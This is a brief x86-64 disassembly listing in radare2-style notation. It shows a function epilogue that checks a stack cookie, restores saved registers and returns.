mov rcx, qword [rsp + 0x988]
xor rcx, rsp
call fcn.1400681e0
lea r11, [rsp + 0x990]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret